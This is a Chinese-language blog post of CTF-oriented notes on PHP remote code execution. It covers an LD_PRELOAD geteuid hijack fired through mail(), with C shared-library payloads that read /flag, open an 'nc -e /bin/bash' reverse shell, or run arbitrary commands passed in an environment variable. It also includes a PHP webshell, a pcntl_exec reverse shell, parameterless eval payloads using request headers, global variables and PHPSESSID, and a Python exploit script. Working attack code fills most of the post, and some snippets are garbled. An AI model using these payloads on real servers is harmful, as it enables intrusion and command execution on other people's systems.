0%

RCE进阶学习

LD_PRELOAD绕过

适用于对命令执行函数过滤特别严格的时候

前置知识

程序的链接

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开
  • 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接
  • 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接
  • 对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新
    LD_PRELOAD介绍
  • 用于修改库文件:可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库

    简单来说:更改了链接,程序运行时就可以不用去用系统指定的链接库,而是用我指定的链接库
    这个功能主要就是用来有选择的载入不同动态链接库中的相同函数

通过这个环境变量,我们就可以在主程序和其他动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库
所以我们可以向别人的程序注入恶意程序
常用的两个函数

mail(内嵌在PHP里)

mail() 函数用于发送电子邮件。它的基本用法和注意事项如下:

1
2
3
<?php
mail(",",",",",");
?>

把以上保存为demo.php,然后在kali中php运行,很明显是不可能正常运行的,它需要的关键参数我都没给,但是可以用kali中的工具strace把这个demo.php执行的动作全部都保存在另外一个文档中
exp

1
strace -o 1.txt -f php demo.php

然后通过管道符直接过滤出调用到的可执行文件程序

1
2
3
4
41    execve("/usr/bin/php", ["php", "demo.php"], 0x7ffe93661110 /* 30 vars */) = 0
42 execve("/bin/sh", ["sh", "-c", "--", "/usr/sbin/sendmail -t -i"], 0x5a499f7852b0 /* 30 vars */ <unfinished ...>
42 <... execve resumed>) = 0
43 execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], 0x61925ab229e8 /* 30 vars */) = -1 ENOENT (No such file or directory)

不难看到调用的子进程有这几个

注意看到进程43
这里调用了sendmail,这个不用想都知道是和发送邮件有关

然后接下来看一下sendmail调用了哪些库,我们可以更改点什么

1
readelf -Ws /usr/sbin/sendmail

然后这里重点讲一个库 geteuid

他会获取当前用户的uid,可以判断身份,比如root之类的,也可以判断你能不能有写入文件的权限之类的

方法论

既然会调用到geteuid这个库,那我们就可以把geteuid替换掉,在sendmail调用geteuid的时候定向到我们自定义的地方

那我们自己编辑一个库文件即可

关于库文件

我们需要自己先写一个C程序,然后C程序编译为.so文件,就可以生成一个动态链接库文件

那直接写一个不就好了

1
2
3
4
5
6
7
8
9
10
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){
system("echo'sb'");
}
int geteuid(){
unsetenv("LD_PRELOAD");//用以结束调用,必须要写,不然会死循环
payload();
}

gcc编译一下

1
gcc -shared -fPIC demo.c -o demo.so

在原先的demo.php中定义一下,加载动态链接库demo.so

1
2
3
4
<?php
putenv("LD_PRELOAD=./demo.so")
mail(",",",",",")
?>

他在调用geteuid的时候会优先调用我们指定的这个demo.so文件,我们在demo.so中自定义了一个geteuid函数,那他就会优先调用我们这个geteuid,而我们的geteuid是个危险动作,在调用的时候可以执行geteuid中的任何命令

那他这样子就可以执行我们所想要让他执行的命令,从而实现rce

绕过的前置条件
  1. 能够上传自己的.so文件(不一定要有上传接口,用蚁剑写入也是可以的,但要是蚁剑可以访问到flag目录,那这纯多此一举了)
  2. 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv等函数并未被禁止
  3. 存在可以控制php启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail(),imap_mail(),mb_send_mail()和error_log()等
实战中的问题-直接执行
1
2
3
4
5
6
7
8
9
10
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){
system("cat /flag > /tmp/flag");
}
int geteuid(){
unsetenv("LD_PRELOAD");//用以结束调用,必须要写,不然会死循环
payload();
}

然后用蚁剑,把demo.php还有demo.so都传上去
只要访问demo.php页面,就可以调用demo.so,就可以得到flag

但是这里实在是太麻烦了,你要执行一句命令就得重启环境,传一个so文件

实战中的问题-出网弹shell

只有一招了,弹shell,只要题目能出网,弹个shell绝对是最方便最聪明的做法

1
2
3
4
5
6
7
8
9
10
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){
system("nc ........ -e /bin/bash");
}
int geteuid(){
unsetenv("LD_PRELOAD");//用以结束调用,必须要写,不然会死循环
payload();
}

但要是不出网或者没办法反弹?

还有高手!

实战中的问题-不出网
1
2
3
4
5
6
7
8
9
10
11
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
int geteuid(){
const char* cmdline=getenv("EVIL_CMDLINE"); //获得系统的环境变量EVAL_CMDLINE,即想要执行的命令指令
if(getenv("LD_PRELOAD")==NULL){
return 0;
}
unsetenv("LD_PRELOAD");
system(cmdline);//放入system中执行
}

来看看chatgpt的解释,一看就懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int geteuid(){
// 1. 从环境变量中读取要执行的“恶意”命令
const char* cmdline = getenv("EVIL_CMDLINE");
// getenv 返回 NULL 表示该环境变量不存在
// 否则 cmdline 就是一个指向命令字符串的指针

// 2. 检查 LD_PRELOAD 是否还存在
if (getenv("LD_PRELOAD") == NULL){
// 如果 LD_PRELOAD 环境变量不存在,就直接返回 0(表示调用者的 EUID 为 0)
// 这一步可以避免无限递归或被后续其他逻辑察觉
return 0;
}

// 3. 删除 LD_PRELOAD 环境变量
// 这样做可以防止后续再加载同一个劫持库,或让后续系统调用看不到 LD_PRELOAD
unsetenv("LD_PRELOAD");

// 4. 利用 system() 执行事先在 EVIL_CMDLINE 里指定的任意 shell 命令
system(cmdline);

// 5. 因为函数签名要求返回 uid_t(通常是 unsigned int),这里简单返回 0
// (即假装当前有效用户 ID 是 root)
return 0;
}

这里传上去的php页面也是得要有说法的

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$cmd=$_REQUEST["cmd"];//要执行的系统命令cmd
$out_path=$_REQUEST["outpath"];//outpath命令执行结果输出到指定路径的文件
$eval_cmdline=$cmd.">".$out_path."2>&1";//2>&1将标准错误重定向到标准输出
echo"<br/><b>cmdline:</b>".$evil_cmdline;
putenv("EVIL_CMDLINE=".$eval_cmdline);//将执行的命令配置成系统环境变量EVIL_CMDLINE
$so_path=$_REQUEST["sopath"];
putenv("LD_PRELOAD=".$so_path);
mail("","","","");
echo "<br/><b>output:</b><br/>".nl2br(file_get_contents("$out_path"));
?>
>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
// 1. 从 HTTP 请求里读取要执行的命令,以及输出文件路径
$cmd = $_REQUEST["cmd"]; // 比如 "id"、"ls -la" 之类
$out_path = $_REQUEST["outpath"]; // 比如 "/tmp/result.txt"

// 2. 构造一个 “命令 > 输出文件 2>&1” 的字符串
// 这样 stdout 和 stderr 都会被重定向到 $out_path
$eval_cmdline = $cmd . " > " . $out_path . " 2>&1";

// 3. (小 BUG:下面 echo 用的是未定义的 $evil_cmdline,正确应该 echo $eval_cmdline)
echo "<br/><b>cmdline:</b> " . $evil_cmdline;

// 4. 将真正要执行的 shell 命令字符串,放到环境变量 EVIL_CMDLINE 里
putenv("EVIL_CMDLINE=" . $eval_cmdline);

// 5. 从请求里拿到共享库路径(我们编译好的 evil.so),放到 LD_PRELOAD
$so_path = $_REQUEST["sopath"];
putenv("LD_PRELOAD=" . $so_path);

// 6. 调用 mail() 函数 —— libc mail 实现里会调用 geteuid()
// 因为我们 LD_PRELOAD 了 evil.so,libc 调用到的就是我们劫持后的 geteuid()
// 于是系统就会执行 system(getenv("EVIL_CMDLINE")),也就是 $cmd > $out_path 2>&1
mail(",", ",", ",");

// 7. 把刚才命令的输出文件读出来,显示在网页上
echo "<br/><b>output:</b><br/>"
. nl2br(file_get_contents("$out_path"));
?>

cmd为执行的命令,out_path指定输出的路径,sopath指定你传入的恶意动态链接库
exp

1
2
3
4
5
http://victim.site/evil.php?
cmd=whoami&
outpath=/tmp/w.txt&
sopath=./demo.so

imagick(需要扩展安装)

这里不多讲

蚁剑绕过函数过滤

disable_function

直接用插件,直接绕过就可以,插件里有很多方法,可以挨个尝试

pcntl_exec函数

需要单独加载组件

pcntl_exec(string $path,array $args=?,array $envs=?)

参数path:必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
参数args:是一个要传给程序的参数的字符串数组
参数envs:是一个要传递给程序作为环境变量的字符串数组

简单来说,比如ls这个命令是装在/bin/bash这个目录下,那你指定路径就要写上/bin/bash,args参数就要写-c /bin/ls

只要info中没有禁用该函数,那就可以使用,但是该函数没有回显

  1. 重定向输出到有权限读取路径
  2. 弹shell

exp

1
cmd=pcntl_exec("/bin/bash",array("-c","nc ..... -e /bin/bash"));

无参数命令执行——请求头RCE(php 7.3)

先看源码

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
if(';'===preg_replace('/[^\W]+\((?R)?\)/',",$_GET['code'])){
eval($_GET['code']);
}
?>

代码审计一下
一个匹配替换
正则表达式的意思是匹配一个xxx()形式的字符串,xxx可以是字母也可以是数字,但是()内不能出现任何参数,?R就是递归,贪心匹配最多的xxx(xxx())这种形式,这个和之前坐的函数无参数执行的那个源码很像

HTTP请求标头

getallheaders()函数

获取所有HTTP请求标头

注意直接传这个是得不到请求标头的,最好给它打印出来

1
code=print_r(getallheaders());

然后和无参函数一样,pos,end这些函数来输出第一个请求头和最后一个请求头

那接下来的思想就是什么人都能想得到的

你bp抓个包,把第一个请求头或者最后一个请求头截胡,更改成system(‘ls’)这种,然后传code的时候,把print_r改成eval(),然后就可以自然的执行我们更改后的请求头的指令了

exp

1
2
3
4
5
6
7
例如请求头的最后一个总是connection:close
你就可以抓包改成connection:system('ls');
也可以自己增加一个请求头,比如:flag:system('ls');
嫌麻烦的话依然弹shell(能出网),改下命令的事
然后传的code值改为code=eval(pos(getallheaders()));
(此处注意请求头的数组,根据数组的值来更改包中的第一个请求头或者最后一个请求头,比如connection是0,那么就用pos,要是connection是最后一个值,那么就用end)
然后发包即可

最后补充一个apache_request_headers(),功能与getallheaders()相似,适用于Apache服务器

无参数命令执行——利用全局变量进行RCE(php5/7)

get_defined_vars()
返回所有已定义变量的值,所组成的数组
?code=print_r(get_defined_vars())
返回数组顺序为GET->POST->COOKIE->FILES
一般来说只有我们传上去的GET方法会返回数组,因此我们只要利用GET方法就可以了,那就很有思路了
exp按上面的类似写即可

1
?code=eval(end(pos(get_defined_vars())));&cmd=system('ls');

写个小工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
# exploit.py
import sys
import requests

def run_cmd(target_url: str, php_param: str, cmd: str) -> str:
url = target_url + php_param
payload = {'cmd': cmd}
try:
resp = requests.post(url, data=payload, timeout=10)
return resp.text
except Exception as e:
return f"[!] 请求失败:{e}"

def print_usage():
print(f"用法:{sys.argv[0]} <目标URL> [PHP码参数] [命令]")
print("示例:")
print(f" {sys.argv[0]} http://3a0.top/1.php '?code=eval($_POST[\"cmd\"]);' \"ls -la\"")
print(" {0} http://3a0.top/1.php '' \"id\"".format(sys.argv[0]))
sys.exit(1)

if __name__ == "__main__":
if len(sys.argv) < 4:
print_usage()

target = sys.argv[1].rstrip('/')
php_param = sys.argv[2]
command = sys.argv[3]

print(f"[+] 目标:{target}{php_param}")
print(f"[+] 执行命令:{command}\n")
output = run_cmd(target, php_param, command)
print(output)

让AI帮我debug了一下,可以根据自己的实际情况去用用看

无参数命令执行——session RCE(php 7以下)

session_start()
启动新会话或者重用现有会话,成功开始会话返回TRUE,反之返回FALSE
session_id(session_start())
返回phpsessid的值,那就很显然了

我直接burpsuit改phpsessid的值,改成一句系统命令,然后再调用不就行了吗

1
2
3
4
在包中修改
phpsessid=system('ls');
在url中写入
?code=eval(session_id(session_start()));

哇咔咔,错了,这里情况特殊,得要将相关命令system(‘ls’);HEX编码为16进制,然后写入PHPSESSID,然后在url处get传参时多用一个hex2bin()函数将16进制转为二进制,最后用eval执行

exp

1
2
3
PHPSESSID=巴拉巴拉一串16进制
在url中写入
?code=eval(hex2bin(session_id(session_start())));

另外一种思路

修改PHPSESSID的值为路径,例如./flag,然后把eval变成show_source

exp

1
2
PHPSESSID=./flag
?code=show_source(session_id(session_start()));

这样就可以直接把flag文件源代码读取出来

结束,谢谢大家